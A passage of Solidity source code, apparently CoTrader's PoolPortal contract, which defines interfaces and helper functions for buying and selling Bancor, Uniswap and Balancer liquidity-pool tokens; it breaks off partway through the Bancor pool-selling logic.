pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ITokensTypeStorage {
function isRegistred(address _address) external view returns(bool);
function getType(address _address) external view returns(bytes32);
function isPermittedAddress(address _address) external view returns(bool);
function owner() external view returns(address);
function addNewTokenType(address _token, string calldata _type) external;
function setTokenTypeAsOwner(address _token, string calldata _type) external;
}
interface IBalancerPool {
function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external;
function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external;
function getCurrentTokens() external view returns (address[] memory tokens);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface UniswapFactoryInterfaceV1 {
// Create Exchange
function createExchange(address token) external returns (address exchange);
// Get Exchange and Token Info
function getExchange(address token) external view returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
// Never use
function initializeFactory(address template) external;
}
interface UniswapExchangeInterface {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
function name() external view returns(bytes32);
function symbol() external view returns(bytes32);
function decimals() external view returns(uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
// Never use
function setup(address token_addr) external;
}
interface IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _depositAmount) external view returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _sellAmount) external view returns (uint256);
function calculateCrossReserveReturn(uint256 _fromReserveBalance, uint32 _fromReserveRatio, uint256 _toReserveBalance, uint32 _toReserveRatio, uint256 _amount) external view returns (uint256);
function calculateFundCost(uint256 _supply, uint256 _reserveBalance, uint32 _totalRatio, uint256 _amount) external view returns (uint256);
function calculateLiquidateReturn(uint256 _supply, uint256 _reserveBalance, uint32 _totalRatio, uint256 _amount) external view returns (uint256);
}
interface SmartTokenInterface {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function disableTransfers(bool _disable) external;
function issue(address _to, uint256 _amount) external;
function destroy(address _from, uint256 _amount) external;
function owner() external view returns (address);
}
interface IGetBancorData {
function getBancorContractAddresByName(string calldata _name) external view returns (address result);
function getBancorRatioForAssets(IERC20 _from, IERC20 _to, uint256 _amount) external view returns(uint256 result);
function getBancorPathForAssets(IERC20 _from, IERC20 _to) external view returns(address[] memory);
}
interface BancorConverterInterfaceV2 {
function addLiquidity(address _reserveToken, uint256 _amount, uint256 _minReturn) external payable;
function removeLiquidity(address _poolToken, uint256 _amount, uint256 _minReturn) external;
function poolToken(address _reserveToken) external view returns(address);
function connectorTokenCount() external view returns (uint16);
function connectorTokens(uint index) external view returns(IERC20);
}
interface BancorConverterInterfaceV1 {
function addLiquidity(
address[] calldata _reserveTokens,
uint256[] calldata _reserveAmounts,
uint256 _minReturn) external payable;
function removeLiquidity(
uint256 _amount,
address[] calldata _reserveTokens,
uint256[] calldata _reserveMinReturnAmounts) external;
}
interface BancorConverterInterface {
function connectorTokens(uint index) external view returns(IERC20);
function fund(uint256 _amount) external payable;
function liquidate(uint256 _amount) external;
function getConnectorBalance(IERC20 _connectorToken) external view returns (uint256);
function connectorTokenCount() external view returns (uint16);
}
/*
* This contract allow buy/sell pool for Bancor and Uniswap assets
* and provide ratio and addition info for pool assets
*/
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract PoolPortal is Ownable{
using SafeMath for uint256;
uint public version = 4;
IGetBancorData public bancorData;
UniswapFactoryInterfaceV1 public uniswapFactoryV1;
IUniswapV2Router public uniswapV2Router;
// CoTrader platform recognize ETH by this address
IERC20 constant private ETH_TOKEN_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
// Enum
// NOTE: You can add a new type at the end, but do not change this order
enum PortalType { Bancor, Uniswap, Balancer }
// events
event BuyPool(address poolToken, uint256 amount, address trader);
event SellPool(address poolToken, uint256 amount, address trader);
// Contract for handle tokens types
ITokensTypeStorage public tokensTypes;
/**
* @dev contructor
*
* @param _bancorData address of helper contract GetBancorData
* @param _uniswapFactoryV1 address of Uniswap V1 factory contract
* @param _uniswapV2Router address of Uniswap V2 router
* @param _tokensTypes address of the ITokensTypeStorage
*/
constructor(
address _bancorData,
address _uniswapFactoryV1,
address _uniswapV2Router,
address _tokensTypes
)
public
{
bancorData = IGetBancorData(_bancorData);
uniswapFactoryV1 = UniswapFactoryInterfaceV1(_uniswapFactoryV1);
uniswapV2Router = IUniswapV2Router(_uniswapV2Router);
tokensTypes = ITokensTypeStorage(_tokensTypes);
}
/**
* @dev this function provide necessary data for buy a old BNT and UNI v1 pools by input amount
*
* @param _amount amount of pool token (NOTE: amount of ETH for Uniswap)
* @param _type pool type
* @param _poolToken pool token address
*/
function getDataForBuyingPool(IERC20 _poolToken, uint _type, uint256 _amount)
public
view
returns(
address[] memory connectorsAddress,
uint256[] memory connectorsAmount
)
{
// Buy Bancor pool
if(_type == uint(PortalType.Bancor)){
// get Bancor converter
address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 0);
// get converter as contract
BancorConverterInterface converter = BancorConverterInterface(converterAddress);
uint256 connectorsCount = converter.connectorTokenCount();
// create arrays for data
connectorsAddress = new address[](connectorsCount);
connectorsAmount = new uint256[](connectorsCount);
// push data
for(uint8 i = 0; i < connectorsCount; i++){
// get current connector address
IERC20 currentConnector = converter.connectorTokens(i);
// push address of current connector
connectorsAddress[i] = address(currentConnector);
// push amount for current connector
connectorsAmount[i] = getBancorConnectorsAmountByRelayAmount(
_amount, _poolToken, address(currentConnector));
}
}
// Buy Uniswap pool
else if(_type == uint(PortalType.Uniswap)){
// get token address
address tokenAddress = uniswapFactoryV1.getToken(address(_poolToken));
// get tokens amd approve to exchange
uint256 erc20Amount = getUniswapTokenAmountByETH(tokenAddress, _amount);
// return data
connectorsAddress = new address[](2);
connectorsAmount = new uint256[](2);
connectorsAddress[0] = address(ETH_TOKEN_ADDRESS);
connectorsAddress[1] = tokenAddress;
connectorsAmount[0] = _amount;
connectorsAmount[1] = erc20Amount;
}
else {
revert("Unknown pool type");
}
}
/**
* @dev buy Bancor or Uniswap pool
*
* @param _amount amount of pool token
* @param _type pool type
* @param _poolToken pool token address (NOTE: for Bancor type 2 don't forget extract pool address from container)
* @param _connectorsAddress address of pool connectors (NOTE: for Uniswap ETH should be pass in [0], ERC20 in [1])
* @param _connectorsAmount amount of pool connectors (NOTE: for Uniswap ETH amount should be pass in [0], ERC20 in [1])
* @param _additionalArgs bytes32 array for case if need pass some extra params, can be empty
* @param _additionalData for provide any additional data, if not used just set "0x",
* for Bancor _additionalData[0] should be converterVersion and _additionalData[1] should be converterType
*
*/
function buyPool
(
uint256 _amount,
uint _type,
address _poolToken,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount,
bytes32[] calldata _additionalArgs,
bytes calldata _additionalData
)
external
payable
returns(uint256 poolAmountReceive, uint256[] memory connectorsSpended)
{
// Buy Bancor pool
if(_type == uint(PortalType.Bancor)){
(poolAmountReceive) = buyBancorPool(
_amount,
_poolToken,
_connectorsAddress,
_connectorsAmount,
_additionalArgs,
_additionalData
);
}
// Buy Uniswap pool
else if (_type == uint(PortalType.Uniswap)){
(poolAmountReceive) = buyUniswapPool(
_amount,
_poolToken,
_connectorsAddress,
_connectorsAmount,
_additionalArgs,
_additionalData
);
}
// Buy Balancer pool
else if (_type == uint(PortalType.Balancer)){
(poolAmountReceive) = buyBalancerPool(
_amount,
_poolToken,
_connectorsAddress,
_connectorsAmount
);
}
else{
// unknown portal type
revert("Unknown portal type");
}
// transfer pool token to fund
IERC20(_poolToken).transfer(msg.sender, poolAmountReceive);
// transfer connectors remains to fund
// and calculate how much connectors was spended (current - remains)
connectorsSpended = _transferPoolConnectorsRemains(
_connectorsAddress,
_connectorsAmount);
// trigger event
emit BuyPool(address(_poolToken), poolAmountReceive, msg.sender);
}
/**
* @dev helper for buying Bancor pool token by a certain converter version and converter type
* Bancor has 3 cases for different converter version and type
*/
function buyBancorPool(
uint256 _amount,
address _poolToken,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount,
bytes32[] calldata _additionalArgs,
bytes calldata _additionalData
)
private
returns(uint256 poolAmountReceive)
{
// get Bancor converter address by pool token and pool type
address converterAddress = getBacorConverterAddressByRelay(
_poolToken,
uint256(_additionalArgs[1])
);
// transfer from sender and approve to converter
// for detect if there are ETH in connectors or not we use etherAmount
uint256 etherAmount = _approvePoolConnectors(
_connectorsAddress,
_connectorsAmount,
converterAddress
);
// Buy Bancor pool according converter version and type
// encode and compare converter version
if(uint256(_additionalArgs[0]) >= 28) {
// encode and compare converter type
if(uint256(_additionalArgs[1]) == 2) {
// buy Bancor v2 case
_buyBancorPoolV2(
converterAddress,
etherAmount,
_connectorsAddress,
_connectorsAmount,
_additionalData
);
} else{
// buy Bancor v1 case
_buyBancorPoolV1(
converterAddress,
etherAmount,
_connectorsAddress,
_connectorsAmount,
_additionalData
);
}
}
else {
// buy Bancor old v0 case
_buyBancorPoolOldV(
converterAddress,
etherAmount,
_amount
);
}
// get recieved pool amount
poolAmountReceive = IERC20(_poolToken).balanceOf(address(this));
// make sure we recieved pool
require(poolAmountReceive > 0, "ERR BNT pool received 0");
// set token type for this asset
tokensTypes.addNewTokenType(_poolToken, "BANCOR_ASSET");
}
/**
* @dev helper for buy pool in Bancor network for old converter version
*/
function _buyBancorPoolOldV(
address converterAddress,
uint256 etherAmount,
uint256 _amount)
private
{
// get converter as contract
BancorConverterInterface converter = BancorConverterInterface(converterAddress);
// buy relay from converter
if(etherAmount > 0){
// payable
converter.fund.value(etherAmount)(_amount);
}else{
// non payable
converter.fund(_amount);
}
}
/**
* @dev helper for buy pool in Bancor network for new converter type 1
*/
function _buyBancorPoolV1(
address converterAddress,
uint256 etherAmount,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount,
bytes memory _additionalData
)
private
{
BancorConverterInterfaceV1 converter = BancorConverterInterfaceV1(converterAddress);
// get additional data
(uint256 minReturn) = abi.decode(_additionalData, (uint256));
// buy relay from converter
if(etherAmount > 0){
// payable
converter.addLiquidity.value(etherAmount)(_connectorsAddress, _connectorsAmount, minReturn);
}else{
// non payable
converter.addLiquidity(_connectorsAddress, _connectorsAmount, minReturn);
}
}
/**
* @dev helper for buy pool in Bancor network for new converter type 2
*/
function _buyBancorPoolV2(
address converterAddress,
uint256 etherAmount,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount,
bytes memory _additionalData
)
private
{
// get converter as contract
BancorConverterInterfaceV2 converter = BancorConverterInterfaceV2(converterAddress);
// get additional data
(uint256 minReturn) = abi.decode(_additionalData, (uint256));
// buy relay from converter
if(etherAmount > 0){
// payable
converter.addLiquidity.value(etherAmount)(_connectorsAddress[0], _connectorsAmount[0], minReturn);
}else{
// non payable
converter.addLiquidity(_connectorsAddress[0], _connectorsAmount[0], minReturn);
}
}
/**
* @dev helper for buying Uniswap v1 or v2 pool
*/
function buyUniswapPool(
uint256 _amount,
address _poolToken,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount,
bytes32[] calldata _additionalArgs,
bytes calldata _additionalData
)
private
returns(uint256 poolAmountReceive)
{
// define spender dependse of UNI pool version
address spender = uint256(_additionalArgs[0]) == 1
? _poolToken
: address(uniswapV2Router);
// approve pool tokens to Uni pool exchange
_approvePoolConnectors(
_connectorsAddress,
_connectorsAmount,
spender);
// Buy Uni pool dependse of version
if(uint256(_additionalArgs[0]) == 1){
_buyUniswapPoolV1(
_poolToken,
_connectorsAddress[1], // connector ERC20 token address
_connectorsAmount[1], // connector ERC20 token amount
_amount);
}else{
_buyUniswapPoolV2(
_poolToken,
_connectorsAddress,
_connectorsAmount,
_additionalData
);
}
// get pool amount
poolAmountReceive = IERC20(_poolToken).balanceOf(address(this));
// check if we recieved pool token
require(poolAmountReceive > 0, "ERR UNI pool received 0");
}
/**
* @dev helper for buy pool in Uniswap network v1
*
* @param _poolToken address of Uniswap exchange
* @param _tokenAddress address of ERC20 conenctor
* @param _erc20Amount amount of ERC20 connector
* @param _ethAmount ETH amount (in wei)
*/
function _buyUniswapPoolV1(
address _poolToken,
address _tokenAddress,
uint256 _erc20Amount,
uint256 _ethAmount
)
private
{
require(_ethAmount == msg.value, "Not enough ETH");
// get exchange contract
UniswapExchangeInterface exchange = UniswapExchangeInterface(_poolToken);
// set deadline
uint256 deadline = now + 15 minutes;
// buy pool
exchange.addLiquidity.value(_ethAmount)(
1,
_erc20Amount,
deadline
);
// Set token type
tokensTypes.addNewTokenType(_poolToken, "UNISWAP_POOL");
}
/**
* @dev helper for buy pool in Uniswap network v2
*/
function _buyUniswapPoolV2(
address _poolToken,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount,
bytes calldata _additionalData
)
private
{
// set deadline
uint256 deadline = now + 15 minutes;
// get additional data
(uint256 amountAMinReturn,
uint256 amountBMinReturn) = abi.decode(_additionalData, (uint256, uint256));
// Buy UNI V2 pool
// ETH connector case
if(_connectorsAddress[0] == address(ETH_TOKEN_ADDRESS)){
uniswapV2Router.addLiquidityETH.value(_connectorsAmount[0])(
_connectorsAddress[1],
_connectorsAmount[1],
amountBMinReturn,
amountAMinReturn,
address(this),
deadline
);
}
// ERC20 connector case
else{
uniswapV2Router.addLiquidity(
_connectorsAddress[0],
_connectorsAddress[1],
_connectorsAmount[0],
_connectorsAmount[1],
amountAMinReturn,
amountBMinReturn,
address(this),
deadline
);
}
// Set token type
tokensTypes.addNewTokenType(_poolToken, "UNISWAP_POOL_V2");
}
/**
* @dev helper for buying Balancer pool
*/
function buyBalancerPool(
uint256 _amount,
address _poolToken,
address[] calldata _connectorsAddress,
uint256[] calldata _connectorsAmount
)
private
returns(uint256 poolAmountReceive)
{
// approve pool tokens to Balancer pool exchange
_approvePoolConnectors(
_connectorsAddress,
_connectorsAmount,
_poolToken);
// buy pool
IBalancerPool(_poolToken).joinPool(_amount, _connectorsAmount);
// get balance
poolAmountReceive = IERC20(_poolToken).balanceOf(address(this));
// check
require(poolAmountReceive > 0, "ERR BALANCER pool received 0");
// update type
tokensTypes.addNewTokenType(_poolToken, "BALANCER_POOL");
}
/**
* @dev helper for buying BNT or UNI pools, approve connectors from msg.sender to spender address
* return ETH amount if connectorsAddress contains ETH address
*/
function _approvePoolConnectors(
address[] memory connectorsAddress,
uint256[] memory connectorsAmount,
address spender
)
private
returns(uint256 etherAmount)
{
// approve from portal to spender
for(uint8 i = 0; i < connectorsAddress.length; i++){
if(connectorsAddress[i] != address(ETH_TOKEN_ADDRESS)){
// transfer from msg.sender and approve to
_transferFromSenderAndApproveTo(
IERC20(connectorsAddress[i]),
connectorsAmount[i],
spender);
}else{
etherAmount = connectorsAmount[i];
}
}
}
/**
* @dev helper for buying BNT or UNI pools, transfer ERC20 tokens and ETH remains after bying pool,
* if the balance is positive on this contract, and calculate how many assets was spent.
*/
function _transferPoolConnectorsRemains(
address[] memory connectorsAddress,
uint256[] memory currentConnectorsAmount
)
private
returns (uint256[] memory connectorsSpended)
{
// set length for connectorsSpended
connectorsSpended = new uint256[](currentConnectorsAmount.length);
// transfer connectors back to fund if some amount remains
uint256 remains = 0;
for(uint8 i = 0; i < connectorsAddress.length; i++){
// ERC20 case
if(connectorsAddress[i] != address(ETH_TOKEN_ADDRESS)){
// check balance
remains = IERC20(connectorsAddress[i]).balanceOf(address(this));
// transfer ERC20
if(remains > 0)
IERC20(connectorsAddress[i]).transfer(msg.sender, remains);
}
// ETH case
else {
remains = address(this).balance;
// transfer ETH
if(remains > 0)
(msg.sender).transfer(remains);
}
// calculate how many assets was spent
connectorsSpended[i] = currentConnectorsAmount[i].sub(remains);
}
}
/**
* @dev return token ration in ETH in Uniswap network
*
* @param _token address of ERC20 token
* @param _amount ETH amount
*/
function getUniswapTokenAmountByETH(address _token, uint256 _amount)
public
view
returns(uint256)
{
UniswapExchangeInterface exchange = UniswapExchangeInterface(
uniswapFactoryV1.getExchange(_token));
return exchange.getTokenToEthOutputPrice(_amount);
}
/**
* @dev sell Bancor or Uniswap pool
*
* @param _amount amount of pool token
* @param _type pool type
* @param _poolToken pool token address
* @param _additionalArgs bytes32 array for case if need pass some extra params, can be empty
* @param _additionalData for provide any additional data, if not used just set "0x"
*/
function sellPool
(
uint256 _amount,
uint _type,
IERC20 _poolToken,
bytes32[] calldata _additionalArgs,
bytes calldata _additionalData
)
external
returns(
address[] memory connectorsAddress,
uint256[] memory connectorsAmount
)
{
// sell Bancor Pool
if(_type == uint(PortalType.Bancor)){
(connectorsAddress, connectorsAmount) = sellBancorPool(
_amount,
_poolToken,
_additionalArgs,
_additionalData);
}
// sell Uniswap pool
else if (_type == uint(PortalType.Uniswap)){
(connectorsAddress, connectorsAmount) = sellUniswapPool(
_poolToken,
_amount,
_additionalArgs,
_additionalData);
}
// sell Balancer pool
else if (_type == uint(PortalType.Balancer)){
(connectorsAddress, connectorsAmount) = sellBalancerPool(
_amount,
_poolToken,
_additionalData);
}
else{
revert("Unknown portal type");
}
emit SellPool(address(_poolToken), _amount, msg.sender);
}
/**
* @dev helper for sell pool in Bancor network dependse of converter version and type
*/
function sellBancorPool(
uint256 _amount,
IERC20 _poolToken,
bytes32[] calldata _additionalArgs,
bytes calldata _additionalData
)
private
returns(
address[] memory connectorsAddress,
uint256[] memory connectorsAmount
)
{
// transfer pool from fund
_poolToken.transferFrom(msg.sender, address(this), _amount);
// get Bancor converter version and type
uint256 bancorPoolVersion = uint256(_additionalArgs[0]);
uint256 bancorConverterType = uint256(_additionalArgs[1]);
// sell pool according converter version and type
if(bancorPoolVersion >= 28){
// sell new Bancor v2 pool
if(bancorConverterType == 2){
(connectorsAddress) = sellPoolViaBancorV2(
_poolToken,
_amount,
_additionalData
);
}
// sell new Bancor v1 pool
else{
